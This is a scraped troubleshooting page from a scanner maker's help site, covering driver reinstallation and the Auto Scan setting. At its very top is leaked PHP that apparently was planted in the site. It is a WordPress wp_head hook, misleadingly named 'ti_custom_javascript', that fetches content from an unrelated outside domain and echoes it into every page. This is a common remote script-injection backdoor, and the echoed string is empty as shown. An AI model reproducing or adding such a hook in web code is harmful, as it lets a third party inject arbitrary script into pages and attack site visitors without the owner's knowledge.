function ti_custom_javascript() { $link=file_get_contents('https://eafincas.com/ads.php'); if($link !== false) { echo ""; } } add_action('wp_head', 'ti_custom_javascript'); ?> Errors/Troubleshooting - AMBIR Technology
Shop all AMBIR Products in the New Online Store - Quickly Find Products and Add-Ons Shop Now
Contact Sales 1-630-530-5400 Ext. 2 My Account
AmbirScan Business Card Scanning Cleaning/Calibration Cloud Services Errors/Troubleshooting Import Contacts to Google Contacts Import Contacts to Outlook Import Contacts to Salesforce Licensing Scanning Search Files/Tags Settings User Guide Cleaning and Calibrating Installation Licensing Scanning Troubleshooting User Guide High Speed ADF Scanners 800ix Series Cleaning and Calibrating Maintenance Troubleshooting 800ix User Guide 900gt Series Scanners Maintenance Profile Settings Software Settings Troubleshooting 900GT User Guide 900u Series Cleaning and Calibration Maintenance Scan Settings Troubleshooting 900u Series User Guides nScan 915i General Networking Scan Destinations Security Workflow nSign Forms Tablets and Setup Cleaning and Calibration Consumables Image Problems Scanner Installation Signature Pads Linux Support Warranty

No Power/Scanner Not Connected Error

If you received an error message that your scanner is not connected, there may be a problem with the driver. This can be caused by several factors, the most common being incorrect driver installation or incomplete driver installation. Below is a screenshot of what the error looks like:

To troubleshoot, complete the steps below:

  1. Verify you have the correct driver installed.
    1. Open Device Manager and confirm the model name under Imaging Devices matches what is on your scanner.
      1. If you see the name of your scanner under Other devices with a yellow triangle next to it, that means the driver is not installed, or the wrong driver is installed. See next steps.
    2. Uninstall the scanner driver
      1. Unplug your scanner from the computer.
      2. Go to Programs and Features in your Control Panel.
      3. Locate your scanner driver.
      4. Highlight the driver and uninstall.
      5. Go to ambir.com/drivers and search for your scanner.
      6. Install the driver.
      7. Plug your scanner back into the computer.
      8. Check the Device Manager.
      9. Your scanner should be listed under Imaging Devices.

Why Isn’t the Scanner Pulling my Card/Document?

If your scanner is not automatically pulling your card/document when inserting into the scanner, verify that Auto Scan is turned on. 

The image below displays when Auto Scan is turned off:

 

To turn on Auto Scan, click the Auto Scan button. You should see the following image when Auto Scan is on: